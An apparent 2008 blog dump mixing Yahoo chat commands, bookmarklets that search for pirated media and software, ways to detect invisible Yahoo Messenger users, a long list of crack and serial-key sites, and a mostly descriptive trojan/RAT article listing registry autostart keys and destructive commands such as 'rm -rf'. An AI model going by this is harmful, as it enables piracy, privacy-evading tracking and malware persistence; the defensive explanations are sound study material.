/&gt; &lt;br /&gt;&lt;br /&gt;Chat Command Help&lt;br /&gt;&lt;br /&gt;/cls Clears the history&lt;br /&gt;&lt;br /&gt;/help Displays this message&lt;br /&gt;&lt;br /&gt;/join roomname Joins room 'roomname'&lt;br /&gt;&lt;br /&gt;/goto username Goes to 'username'&lt;br /&gt;&lt;br /&gt;/think xxx . o O (xxx)&lt;br /&gt;&lt;br /&gt;/follow user Follows the user wherever they go&lt;br /&gt;&lt;br /&gt;/follow Stop Following&lt;br /&gt;&lt;br /&gt;/invite username Invites 'username' to join this room : emotion Displays user defined emotion string&lt;br /&gt;&lt;br /&gt;/think-- will get you . o O ( ........ ) just type /think whatever.....and get . o O ( whatever ) ...doesn't seem to work in messenger chat though......java /cheeta/ychat/cheeta users if they just type /think will have a random message inserted&lt;br /&gt;/roll 2-- will get you something like 'fire-wall rolls 2 dice 3,4' ........to roll multisided dice type /roll 2:10&lt;br /&gt;try /roll 2x2 to flip coins&lt;br /&gt;&lt;br /&gt;/tell ( name )-- allows you to send a private message with out a pm box&lt;br /&gt;/goto ( name ) lets you go to a friend or another user&lt;br /&gt;/invite ( name )-- allows you to invite a user to where you are&lt;br /&gt;/follow ( name )-- allows you to follow someone&lt;br /&gt;/stopfollow( name )-- stops you following someone else.... no way to stop someone from following you. :cry: :cry:&lt;br /&gt;/cls-- clears the screen&lt;br /&gt;/help-- works great in java chat!!! be prepared for a full screen of info though.&lt;br /&gt;/define-- works in cheeta chat&lt;br /&gt;/time-- works in most clients&lt;br /&gt;/version or /ver --the latter is great for when you need help.........and /version helpers name sends them a private message with the same info so they can help.&lt;br /&gt;/join (roomname) is great for skipping the rooms list......like&lt;br /&gt;/join yahoo! chat help:1&lt;br /&gt;&lt;br /&gt;to emote without using the pop up emotes or the list just type /emote name .......like /hug or to emote someone /hug ( name) and to make your text show as an emote .....type a : then whatever.....and your text will look like an emote like Fire-wall hugs you&lt;br /&gt;&lt;br /&gt;/ignore add (username) a quick way to send someone to the iggy box.....&lt;br /&gt;/ignore remove (username) can take an accidental ignore off..... or even remove yourself form your own ignore.... don't laugh.... it has happened!!! despite yahoo saying you cant ignore yourself. you can also open messenger, look under privacy, and remove names there.&lt;br /&gt;/save works in all but messenger (click file. then save for messenger chat)........in browser chat make sure you know where it saves the transcript!!!!!&lt;br /&gt;/logoff closes your chat screen and logs you out !!!&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Download Anything from Google 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Songs&lt;br /&gt;javascript:Qr='';if(!Qr){void(Qr=prompt( 'ENTER ARTIST OR SONG NAME:',''))};if(Qr)location.href='http://www2.google.com/ie?query=%22parent+directory%22+%22'+escape(Qr)+'%22+mp3+OR+wma+OR+ogg+-html+-htm&amp;num=100&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;oe=UTF-8&amp;safe=active&amp;sa=N'&lt;br /&gt;&lt;br /&gt;E-book&lt;br /&gt;javascript:Qr='';if(!Qr){void(Qr=prompt('Enter Author name OR Book name:',''))};if(Qr)location.href='http://www2.google.com/ie?query=%22parent+directory%22+%22'+escape(Qr)+'%22+pdf+OR+rar+OR+zip+OR+lit+OR+djvu+OR+pdb+-html+-htm&amp;num=100&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;oe=UTF-8&amp;safe=active&amp;sa=N'&lt;br /&gt;&lt;br /&gt;Image&lt;br /&gt;javascript:Qr='';if(!Qr){void(Qr=prompt('ENTER IMAGE NAME:',''))};if(Qr)location.href='http://www2.google.com/ie?query=%22parent+directory%22+%22'+escape(Qr)+'%22+jpg+OR+png+OR+bmp+-html+-htm&amp;num=100&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;oe=UTF-8&amp;safe=active&amp;sa=N'&lt;br /&gt;&lt;br /&gt;Movie&lt;br /&gt;javascript:Qr='';if(!Qr){void(Qr=prompt('ENTER MOVIE NAME:',''))};if(Qr)location.href='http://www2.google.com/ie?query=%22parent+directory%22+%22'+escape(Qr)+'%22+avi+OR+mov+OR+mpg+-html+-htm&amp;num=100&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;oe=UTF-8&amp;safe=active&amp;sa=N'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Application&lt;br /&gt;javascript:Qr='';if(!Qr){void(Qr=prompt('ENTER app NAME(CREATED BY 5ury4;if(Qr)location.href='http://www2.google.com/ie?query=%22parent+directory%22+%22'+escape(Qr)+'%22+zip+OR+rar+OR+exe+-html+-htm&amp;num=100&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;oe=UTF-8&amp;safe=active&amp;sa=N''&lt;br /&gt;&lt;br /&gt;Just copy from javascriot and paste this on your addrress bar and enter the details and Enjoy!&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Trace Invisible Users In Yahoo! Messenger 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Many people nowdays prefer to stay offline while using Yahoo! Messenger - mostly done to avoid someone. There are many ways of finding people who are online but yet invisible.&lt;br /&gt;&lt;br /&gt;First Method: Doodle Method&lt;br /&gt;&lt;br /&gt;1. Double Click on the user whose status you want to check.&lt;br /&gt;2. A message window will open.&lt;br /&gt;3. Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.&lt;br /&gt;4. The last step and the most important step. After loading the Doodle IMVironment, there will be two possibilities.&lt;br /&gt;a) If the user is offline, the Doodle area will show “waiting for your friend to load Doodle” continuously.&lt;br /&gt;b) If the user is online (in invisible mode), after few seconds (it can take up to one minute, depending on connection speed), you will get a blank page. So the user is online!&lt;br /&gt;&lt;br /&gt;Second Method: Voice Chat Method&lt;br /&gt;&lt;br /&gt;1. Double Click on the user whose status you want to check.&lt;br /&gt;2. Click on “Voice” icon on the toolbar, or select “Contact” menu and select “Enable Voice Chat” .&lt;br /&gt;3. The deciding part… there are 2 possible results:&lt;br /&gt;a) If the user is offline, you will get this message: “Internal server error. Cannot obtain voice token to start voice chat.”&lt;br /&gt;b) If the user is invisible (actually online), you will see the Voice Toolbar.&lt;br /&gt;&lt;br /&gt;Third Method: Conference Invitation&lt;br /&gt;&lt;br /&gt;1. Right Click on the user whose status you want to check.&lt;br /&gt;2. When the menu appears, select Invite to Conference.&lt;br /&gt;3. A window will appear. See at the right pane, the username you selected will be there. Now, click Invite.&lt;br /&gt;4. The deciding part… there are 2 possible results:&lt;br /&gt;a) If the user is offline, you will get this message: “None of the users in the invite list are available to join the conference. Please try at a later time.”&lt;br /&gt;b) If the user is invisible, you will get a window similar saying: “You are now logged into voice conference - njs124&lt;br /&gt;(or)&lt;br /&gt;4. Use the software Buddy Spy&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Serial Keys &amp; Cracks 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Make sure that your anti-virus software and firewall are fully functional while you are surfing on these sites because many of these sites are hacker sites that may inject a nasty virus in your PC's ass !!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.serials.ws&lt;br /&gt;http://www.keygen.us&lt;br /&gt;http://www.thebugs.ws&lt;br /&gt;http://www.asta-killer.com&lt;br /&gt;http://www.crackhell.com&lt;br /&gt;http://www.megazip.com&lt;br /&gt;http://www.quicksoftware.com&lt;br /&gt;http://www.accusolve.biz&lt;br /&gt;http://www.randpass.com&lt;br /&gt;http://www.emailchange.com&lt;br /&gt;http://www.thekeys.ws/&lt;br /&gt;http://www.theserials.com/&lt;br /&gt;http://freeserials.spb.ru/&lt;br /&gt;http://www.product-key.com/&lt;br /&gt;http://www.serialsafe.ca/&lt;br /&gt;http://www.overdump.com/&lt;br /&gt;http://www.tuts4you.com/sndfilez/?strana=main&lt;br /&gt;http://www.free-for-all.ru/tsrh/&lt;br /&gt;http://bestserials.com&lt;br /&gt;http://cas.has.it&lt;br /&gt;http://cdsbyte.host.sk&lt;br /&gt;http://www.freshcracks.com/&lt;br /&gt;http://crackazoid.com&lt;br /&gt;http://cracks.thebugs.ws&lt;br /&gt;http://cracks4u.us&lt;br /&gt;http://cybermania.vibehosting.com&lt;br /&gt;http://dbz.6x.to&lt;br /&gt;http://icracks.net&lt;br /&gt;http://inicia.es/de/manifiestocomunista/crack.htm&lt;br /&gt;http://kickme.to/aldocrackz&lt;br /&gt;http://kickme.to/juancho&lt;br /&gt;http://kickme.to/tnt&lt;br /&gt;http://links.ref.ru/runto/80&lt;br /&gt;http://mscracks.com&lt;br /&gt;http://serials.omck.info&lt;br /&gt;http://ultraseek.net&lt;br /&gt;http://zor.org/desperate&lt;br /&gt;http://www.allcracks.net&lt;br /&gt;http://www.astalavista.box.sk&lt;br /&gt;http://www.astalavista.cc&lt;br /&gt;http://www.astalavista.com&lt;br /&gt;http://www.astalavista.us&lt;br /&gt;http://www.astaserials.com&lt;br /&gt;http://www.crack.cd&lt;br /&gt;http://www.crack-locator.com&lt;br /&gt;http://www.crackdb.com&lt;br /&gt;http://www.crackfind.com/&lt;br /&gt;http://www.crackfound.com&lt;br /&gt;http://www.crackheaven.com&lt;br /&gt;http://www.crackhell.com//toplist.php&lt;br /&gt;http://www.crackinfo.net&lt;br /&gt;http://www.crackmanworld.com&lt;br /&gt;http://www.crackmes.de&lt;br /&gt;http://www.crackportal.com&lt;br /&gt;http://www.cracks.am&lt;br /&gt;http://www.cracks.spb.ru&lt;br /&gt;http://www.cracks.st&lt;br /&gt;http://www.cracks4u.com&lt;br /&gt;http://www.cracksearch.ru&lt;br /&gt;http://www.cracksearch.ws&lt;br /&gt;http://www.cracksearchengine.net&lt;br /&gt;http://www.crackspider.de&lt;br /&gt;http://www.crackspider.net&lt;br /&gt;http://www.crackway.com&lt;br /&gt;http://www.crackyard.com&lt;br /&gt;http://www.sucks.ws&lt;br /&gt;http://www.deluxnetwork.com&lt;br /&gt;http://www.deluxserials.com&lt;br /&gt;http://www.easycracks.net&lt;br /&gt;http://www.eminence.gulli.com&lt;br /&gt;http://www.freeline.ws&lt;br /&gt;http://www.fastcrackz.com&lt;br /&gt;http://www.gameburnworld.com&lt;br /&gt;http://www.gamecopyworld.com&lt;br /&gt;http://www.geocities.com/ttrp2/a2d.htm&lt;br /&gt;http://www.keygen.ru&lt;br /&gt;http://www.keygen.us&lt;br /&gt;http://www.lastversions.com/?id=descarg&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Hacking Compters With Trojans &amp; Rats 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;      Trojan horses present more difficulties in definition than at first appears. Whereas viruses are defined primarily by their ability to replicate, Trojans are primarily defined by their payload, or, to use a less emotive term, their function. Replication is an absolute value. Either a program replicates, or it doesn't. Damage and intent, however, are not absolutes, at least in terms of program function.&lt;br /&gt;The first clue to their nature lies in ancient history and classical mythology. Around the 12th century B.C., Greece declared war on the city of Troy.&lt;br /&gt;The dispute arose when Paris, variously described as a shepherd boy and as prince of Troy, abducted Helen, the wife of Menelaus, king of Sparta, and reputed to be the most beautiful woman in the world. The Greeks gave chase and engaged Troy in a 10-year war, but failed to take the city. This, of course, is the central plot of Homer's Iliad. Finally, the Greek army withdrew, leaving behind a huge wooden horse.&lt;br /&gt;&lt;br /&gt;Greece's finest soldiers hid silently inside. The people of Troy saw the horse and, thinking with stunning naivete that it was a gift, brought it inside their city. That night, Greek soldiers under the leadership of Odysseus emerged from the horse, and opened the gates to the rest of the Greek army, who destroyed the city. In computing terms, the term Trojan horse is most often applied to an apparently attractive program concealing in some way an unpleasant surprise. Trojans work similar to the client-server model.&lt;br /&gt;Trojans come in two parts, a Client part and a server part. The attacker deploys the Client to connect to the Server, which runs on the remote machine when the remote user (unknowingly) executes the Trojan on the machine. The typical protocol used by most Trojans is the TCP/IP protocol, but some functions of the Trojans may make use of the UDP protocol as well. When the Server is activated on the remote computer, it will usually try to remain in a stealth mode, or hidden on the computer. This is configurable.&lt;br /&gt;It is usual for Trojans to also modify the registry and/or use some other auto starting method. Many Trojans have configurable features like mailing the victim's IP, for example Pro Rat trojan, as well as messaging the attacker via ICQ or IRC. Also there are websites with ActiveX servers imbedded in them were any one using Internet explorer goes on the site and the attachment installs its self with out any warning.&lt;br /&gt;This is relevant when the remote machine is on a network with dynamically assigned IP address or when the remote machine uses a dial-up connection to connect to the internet. DSL users on the other hand, have static IPs so the infected IP is always known to the attacker.&lt;br /&gt;Most of the Trojans use auto-starting methods so that the servers are restarted every time the remote machine reboots / starts. This is also notified to the attacker. As these features are being countered, new auto-starting methods are evolving. The start up method ranges from associating the Trojan with some common executable files such as explorer.exe to the known methods like modifying the system files or the Windows Registry.&lt;br /&gt;Some of the popular system files targeted by Trojans are Auto start Folder, Win.ini, System.ini, Wininit.ini, Winstart.bat, Autoexec.bat Config.sys. Could also be used as an auto-starting method for Trojans Explorer Startup.&lt;br /&gt;&lt;br /&gt;Registry is often used in various auto-starting methods.&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun]&lt;br /&gt;" Info"="c:directoryTrojan.exe"&lt;br /&gt;[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce]&lt;br /&gt;" Info"="c:directoryTrojan.exe"&lt;br /&gt;[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices]&lt;br /&gt;" Info"="c:directoryTrojan.exe"&lt;br /&gt;[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce]&lt;br /&gt;" Info="c: directoryTrojan.exe"&lt;br /&gt;[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]&lt;br /&gt;" Info"="c:directoryTrojan.exe"&lt;br /&gt;[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce]&lt;br /&gt;" Info"="c:directoryTrojan.exe"&lt;br /&gt;&lt;br /&gt;Registry Shell Open methods&lt;br /&gt;&lt;br /&gt;[HKEY_CLASSES_ROOTexefileshellopencommand]&lt;br /&gt;[HKEY_LOCAL_MACHINESOFTWAREClassesexefileshellopencommand]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A key with the value "%1 %*" should be placed there and if there is some executable file placed there, it will be executed each time a binary file is opened. It is used like this: trojan.exe "%1 %*"; this would restart the Trojan.&lt;br /&gt;ICQ Net Detect Method&lt;br /&gt;" [HKEY_CURRENT_USERSoftwareMirabilisICQAgentApps]&lt;br /&gt;This key includes all the files that will be executed if ICQ detects internet connection. This feature of ICQ is frequently abused by attackers as well.&lt;br /&gt;ActiveX Component method&lt;br /&gt;" [HKEY_LOCAL_MACHINESoftwareMicrosoftActiveSetupInstalledComponentsKeyName] StubPath=C: directoryTrojan.exe&lt;br /&gt;&lt;br /&gt;These are the most common Auto-Starting methods using Windows system files, and the Windows registry.&lt;br /&gt;The main Transmission of trojans are known to be by ICQ, IRC Attachments, Physical Access Browser And E-mail, Software Bugs with binded trojans, NetBIOS, Fake Programs, Un-trusted Sites, Freeware Software and most common of all is P2P file sharing! Yes that's Kaaza, Bear Share, Limewire and list goes on. Visit stop [bad] ware to learn about many free ware wich are bad and may carry spyware or even trojans!&lt;br /&gt;&lt;br /&gt;So how do you go about finding and removing Trojans? Download and lean how to use TCPView. TCPView is a Windows program that will show detailed listings of all TCP and UDP endpoints on the system, including the local and remote addresses and state of TCP connection. On Windows NT, 2000 and XP TCPView also reports the name of the process that owns the endpoint. Best way to check for Trojans is close any open browsers let pc go in state of rest and open TCP view, once you see a connection established when youÒre not using anything and there is no signatures of the process than it might be a trojan. Another method is to view your Process. Simply hit [ALT] [CTRL] [DELETE] and it will list all of your running Process. Look for anything that you know might be suspicious or a trojan.&lt;br /&gt;If you don't have a copy of Ad-Aware that you should go to there website and get one which helps remove many trojans and spyware. www.lavasoft.de/software/adaware/ . Sometimes you may run into trojan (trojans server.exe) that wont allow you to delet it and gives you errors like write protected or its in-use. You will need to run "Unlocker" and remove it that way. What are some other stealth ways Trojans can get on your PC and be remote controlled? The method is called ICMP Tunneling. ICMP tunneling is a method of using ICMP echo-request and echo-reply as a carrier of any payload an attacker may wish to use, in an attempt to stealthily access, or control a compromised system. This method makes it harder to find running server like TCP or UDP. The Internet Control Message Protocol is an adjunct to the IP layer. It is a connectionless protocol used to convey error messages and other information to unicast addresses . ICMP packets are encapsulated inside of IP datagram. The first 4-bytes of the header are same for every ICMP message, with the remainder of the header differing for different ICMP message types. There are 15 different types of ICMP messages.&lt;br /&gt;Covert Channels are methods in which an attacker can hide the data in a protocol that is undetectable. Covert Channels rely on techniques called tunneling, which allows one protocol to be carried over another protocol.&lt;br /&gt;A covert channel is a vessel in which information can pass, but this vessel is not ordinarily used for information exchange. Therefore, as a matter of consequence, covert channels are impossible to detect and deter using a system's normal (read: unmodified) security policy. In theory, almost any process or bit of data can be a covert channel. In practice, it is usually quite difficult to elicit meaningful data from most covert channels in a timely fashion. This makes it an attractive mode of transmission for a Trojan.&lt;br /&gt;The attacker can use the covert channel and install the backdoor on the target machine. The concept of ICMP Tunneling is simple: arbitrary information tunneling in the data portion of ICMP_ECHO and ICMP_ECHOREPLY packets.&lt;br /&gt;This exploits the covert channel that exists inside of ICMP_ECHO traffic. This channel exists because network devices do not filter the contents of ICMP_ECHO traffic. They simply pass them, drop them, or return them. The Trojan packets themselves are masqueraded as common ICMP_ECHO traffic. We can encapsulate (tunnel) any information we want. So what are come counter measure to protect your self from this attack? Configure your firewall to block ICMP incoming and outgoing echo packets. Blocking ICMP will disable ping request and may cause inconvenience to users. Most new firewall have this option. Last thing I want to stress is make sure your not with out a firewall or Anti-Virus and allways updating them.&lt;br /&gt;&lt;br /&gt;[Types of Trojans]&lt;br /&gt;&lt;br /&gt;Privacy-Invasive Trojans&lt;br /&gt;&lt;br /&gt;Privacy-invasive Trojans generally perform some function that reveals to the programmer vital and privileged information about a system or otherwise compromises that system. Passwords are, for obvious reasons, a very common target.&lt;br /&gt;&lt;br /&gt;They can also (or instead) conceal some function that either reveals to the programmer vital and privileged information about a system or compromises that system.&lt;br /&gt;&lt;br /&gt;Some anti-virus companies have differentiated between PC-specific privacy-invasive Trojans and destructive Trojans by restricting the use of the term Trojan to destructive programs. They use the term password stealers for the most common privacy-invasive programs. In the latter half of the 1990s, password-stealing programs aimed specifically at AOL users seemed to become very common (some estimates at the number of such programs rose to many hundreds). Some anti-virus software uses an APS identifier for such programs, probably standing for AOL Password Stealer. However, AOL is not and never was the only vulnerable service. In their paper Where There's Smoke, There's Mirrors, Sarah Gordon and David Chess describe running user simulations on AOL over a seven-month period. While attempts were made to gain their dummy users'screen passwords, these attempts generally used direct social engineering techniques by correspondents masquerading as AOL staff, rather than indirectly with password stealing programs.&lt;br /&gt;&lt;br /&gt;[Back Door Trojans]&lt;br /&gt;&lt;br /&gt;Trojans have, from time to time, been planted in legitimate applications. Ken Thompson describes in Reflections on Trusting Trust a number of interesting (not entirely hypothetical) scenarios, the most famous being the Trojanized compiler scenario. In this case, production software offers the means of privileged access to anyone knowing of the back door or trapdoor described.&lt;br /&gt;&lt;br /&gt;Back doors and trapdoors offering unauthorized access (and maybe modification) are not the only instances of unauthorized code introduced into legitimate programs, however. Many Mac owners who bought a certain brand of third-party keyboard with a Trojan hardcoded into ROM chip found that the text "Welcome Datacomp" was inserted into their documents at apparently random intervals. PC motherboards with a Trojanized BIOS were characterized by "Happy Birthday" played through the system loudspeaker at boot-up, apparently on the programmer's birthday.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Remote Access Tools (RATs)]&lt;br /&gt;&lt;br /&gt;Though few anti-virus vendors would claim to detect all known Trojans, most do detect at least some on the platforms for which they have products, especially those Trojans that do direct damage. Remote Access Tools (RATs) such as Netbus and Back Orifice, however, straddle a line between legitimate systems administration (similar to that carried out by programs such as PC Anywhere) and covert unauthorized access. When the system owner is persuaded to run the installation program, a server program is installed that can be accessed from a client program on a remote machine without the knowledge of the user. The server is used to manipulate the victim machine.&lt;br /&gt;&lt;br /&gt;Functionally, there might be no difference between a RAT and a "legitimate" tool. The difference lies not in the functionality, but in the facilitation of the covert availability of that functionality to unauthorized individuals. As with sniffers and network scanners, it's not what the program does so much as the reason it's being used. Yet if RAT software is willingly installed, opening the system to an attack the user does not expect, does that make it a Trojan? Using Microsoft Word also makes the user vulnerable to attacks he might not have anticipated. It was, for instance, literally years before some computer users realized that using versions of Word and other Microsoft Office applications supporting macro languages made them vulnerable to macro viruses and Trojans. Does that make Bill Gates a Trojan author? No, because the functionality in this case is too generalized to be described as a back door. However, a RAT broadcasting its presence to a hacker, who probes a characteristic range of port numbers, can certainly be described as a back door Trojan. It promotes the intentions of the author and subverts the expectations of the victim.&lt;br /&gt;&lt;br /&gt;This is a serious issue—not least in that the "Bad Guys" frequently allude to the shortcomings of legitimate software (especially Microsoft's) as if unforeseen bugs in Office justified their own premeditated activities.&lt;br /&gt;&lt;br /&gt;Nonetheless, some RAT authors have exploited this ambivalence by producing "Professional" versions of such software and charging for them. This allows the authors to complain of the anti-capitalist, anti-competitive behavior of security vendors who detect their program as a Trojan (or, all too often and inaccurately, a virus). It works, too. Several anti-virus vendors have dropped detection of the Professional version of Netbus, despite the murkiness of its antecedents and its continuing potential for misuse. Others have gone out of their way to distinguish between standard Netbus Pro installations and Trojanized installations.&lt;br /&gt;&lt;br /&gt;[Droppers]&lt;br /&gt;&lt;br /&gt;A dropper is a program that is not itself a virus, but is intended to install a virus. Curiously, given the popular association of Trojans and viruses, droppers are a comparatively rare entry point for viruses in the wild (see the preceding chapter on viruses). In the PC world, dropper programs are most commonly associated with transporting boot sector viruses across networks, and can be used for that purpose by both pro- and anti-virus researchers. They can be used as a covert means of introducing a virus onto a system, if the victim can be persuaded by social engineering techniques to run the dropper program.&lt;br /&gt;&lt;br /&gt;Droppers have been used surprisingly frequently in the Mac world, though. The MacMag virus was introduced via a HyperCard stack called New Apple Products. The Tetracycle game was implicated in the original spread of MBDF. ExtensionConflict is supposed to identify conflicts between extensions (now there's a surprise), but installs the SevenDust virus. Both SevenDust and MBDF are still being reported in the field. Back in the PC world, the Red Team alert muddied the waters by attaching a virus dropper alleged to be a fix for a virus that didn't and couldn't possibly exist.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Jokes]&lt;br /&gt;&lt;br /&gt;Joke programs are almost as old as computing. One venerable example is the PDP Cookie program, which popped up and asked the victim for a cookie. PC and Mac users have both long been delighted or irritated by such programs. Confusion has arisen due to the habit of anti-virus software of alerting (using the word virus) not only on viruses and Trojans, but on joke programs such as CokeGift. This widely distributed program offers the victim their CD tray as a holder for their fizzy drink (or possibly white powder for nasal ingestion or carboniferous fossil fuel). Cute for some, irritating for others, but not exactly life-threatening. However, the practice of alerting on joke programs might have arisen in response to supposed joke programs that threaten to format disks, or claim to have done so, but make no such actual attempt. Indeed, there have been instances when, what one vendor has reported as a Trojan, another vendor reported as a joke.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Bombs]&lt;br /&gt;&lt;br /&gt;Logic bombs are malicious programs that execute their payload when a preprogrammed condition is met. When the trigger condition is a time or date, the term time bomb may be used. A time-out is a logic bomb sometimes used to enforce contract terms. Characteristically, the program stops running unless some action is taken to indicate (for instance) that the license fee has been paid, or the contractor who wrote the code has been paid. It's not unknown for a contractor to introduce some more drastic time bomb to be triggered if a dispute over payment arises.&lt;br /&gt;&lt;br /&gt;The use of the word bomb does suggest a destructive payload, but this need not, in fact, be the case. Mail bombs and subscription bombs, which don't really belong in a chapter on Trojans, are DoS (Denial-of-Service) attacks intended to inconvenience the victim by battering his or her mailbox with a barrage of mail. Often this is done by subscribing the victim to large numbers of mailing lists. Email Trojans certainly exist, although email is more commonly an infection vector for viruses and worms.&lt;br /&gt;&lt;br /&gt;The term ANSI bomb usually refers to a mail message or other text file that takes advantage of an enhancement to the MS-DOS ANSI.SYS driver. This allows keys to be redefined with an escape sequence, in this case, to echo some potentially destructive command to the console. Such programs were at one time quite frequently reported on Fidonet. However, nowadays few systems run programs that require ANSI terminal emulation, and ANSI.SYS is not normally installed in Windows 9x or later.&lt;br /&gt;&lt;br /&gt;There are alternatives to ANSI.SYS that don't support keyboard redefinition, or allow it to be turned off.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Rootkits]&lt;br /&gt;&lt;br /&gt;A rootkit is an example of a set of trojanized system programs that an intruder who manages to root-compromise a system might be able to substitute for the commands'standard equivalents. Examples include modified versions of system utilities such as top and ps, allowing illegitimate processes to run unnoticed; daemons modified to compromise log entries or hide connections; utilities gimmicked to enable escalation to root privileges or to hide rootkit component files or other backdoor functionality (secret passwords to allow privileged access, for instance). Associated programs include packet sniffers and utmp/wtmp editors (used to doctor log files).&lt;br /&gt;&lt;br /&gt;Rootkits exist for a number of flavors of UNIX, and are appearing in NT versions. However, one-off Trojanized versions of login (that is, versions not included in a suite of programs such as a rootkit) have been used, for instance, to harvest passwords since Pontius programmed in PILOT.&lt;br /&gt;&lt;br /&gt;You can find information on rootkits in the FAQ at http://staff.washington.edu/dittrich/misc/faqs/lrk4.faq.&lt;br /&gt;&lt;br /&gt;Sarah Gordon's paper Publication of Vulnerabilities and Tool (Proceedings of the Twelfth World Conference on Computer Security, Audit and Control, 1995) includes a technical analysis of some rootkit components.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[DDoS Agents]&lt;br /&gt;&lt;br /&gt;DDoS (Distributed Denial-of-Service) tools like Stacheldraht, TFN2K, and Trinoo are Trojans designed with a very specific purpose. They are intended to bring down Internet servers by remotely coordinating packet-flooding attacks from multiple machines. Typically, the intruder controls a number of master machines. These, in turn, control daemons on remote machines. Covertly installed, their presence is often concealed by the installation of rootkits. Daemons can be installed on many hundreds of remote machines, all directing flooding attacks at the victim system.&lt;br /&gt;&lt;br /&gt;Detailed analysis of DDoS attacks and counter-attacks is beyond the scope of this chapter. However, the installation and presence of a DDoS attack tool can be detected by the same means as other malware. That is, recognition of a specific search string (Known Something Detection), heuristic scanning, and change detection. Virus scanners usually detect known DDoS tools. Network traffic can be monitored for characteristics such as IP packets with spoofed source addresses. Intrusion detection systems can be configured to scan for patterns characteristic of communications between master software and daemon software.&lt;br /&gt;&lt;br /&gt;[Worms]&lt;br /&gt;&lt;br /&gt;In principle, this should probably be the longest subsection in this chapter. Many system administrators now apply the term Trojan to what the author of Chapter 17, "Viruses and Worms," described as worms. While I regard this usage as misleading, it is defensible, common, and can't be ignored.&lt;br /&gt;&lt;br /&gt;It's defensible because, as discussed in Chapter 17, most present-day worms are reliant on social engineering to persuade the recipient to execute the malicious code. In other words, they conform to one of the definitions we've previously examined suggesting that Trojans are programs that purport to do one (desirable) thing while actually doing some other (less desirable) thing.&lt;br /&gt;&lt;br /&gt;The usage is misleading because it defies the definition of Trojans as non-replicative malware. In the virus business, most people hold the view that viruses and worms replicate. Some believe that the class worm is a subset of the class virus, and many regard Trojans as non-replicative. These distinctions are not just academic. To fight malicious code effectively, we need to understand how it works, and distinctions are particularly important when we come to examine a multipartite threats such as MTX or LoveLetter. Modern mail-borne malware might include components which can be described as parasitic (a file virus), a worm (a network virus that doesn't infect other files by direct attachment), and/or a classic Trojan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Trojan Security]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Trojans frequently masquerade as games, joke programs, screensavers, and other programs frequently exchanged by email, especially when strict system policies or security policies are not enforced. If software contains a privacy-invasive Trojan or a destructive Trojan with a delayed payload (a time bomb or other form of logic bomb, for example), the Trojan might be distributed by a victim who is not yet aware that the program is malicious.&lt;br /&gt;Compiled binaries are not the only places you'll find Trojans. Batch files and other shell scripts, Perl programs, and perhaps even code written in JavaScript, VBScript, or Tcl can carry a Trojan. Scripting languages have been described as unsuitable for the creation of Trojans if the code remains humanly readable.&lt;br /&gt;This increases the victim's chances of discovering the offending code. In real life, though, victims often seem quite happy to run unchecked code, even when it's humanly readable.&lt;br /&gt;&lt;br /&gt;The LoveLetter virus was executed by countless recipients, even though the cleartext code clearly included a subroutine whose very name indicated that it was intended to infect files. Nesting a Trojan within such code is, however, more feasible if the file is part of a much larger package—for example, if the entire package extracts to many subdirectories.&lt;br /&gt;&lt;br /&gt;In such cases, the complexity of the package can reduce the likelihood that a human being, using normal methods of investigation, would uncover the Trojan, especially if it's an easily overlooked short sequence like DELTREE C:\ or rm -rf. Trojans don't usually announce their intent. Worse still, many Trojans masquerade as legitimate, known utilities that you'd expect to find running on the system.&lt;br /&gt;Thus, you cannot rely on detecting a Trojan by listing current processes. In detecting a Trojan by eye, much depends on the user's experience. Users who know little about their operating systems are less likely to venture deep into directory structures, looking for suspicious files. More proficient users are unlikely to have time to examine the complex system structures of modern operating systems, especially on server-class machines. Even experienced programmers can have difficulty identifying a Trojan, even when the code is available for their examination. Identification of malicious code by reverse-engineering can be more difficult and time-consuming by orders of magnitude.&lt;br /&gt;&lt;br /&gt;New Trojans are difficult to detect using heuristic detection. (Unless you use the somewhat sweeping heuristic that a change in a file detected automatically is likely to indicate a Trojan substituted for a legitimate file.) There is no absolute test for code to determine 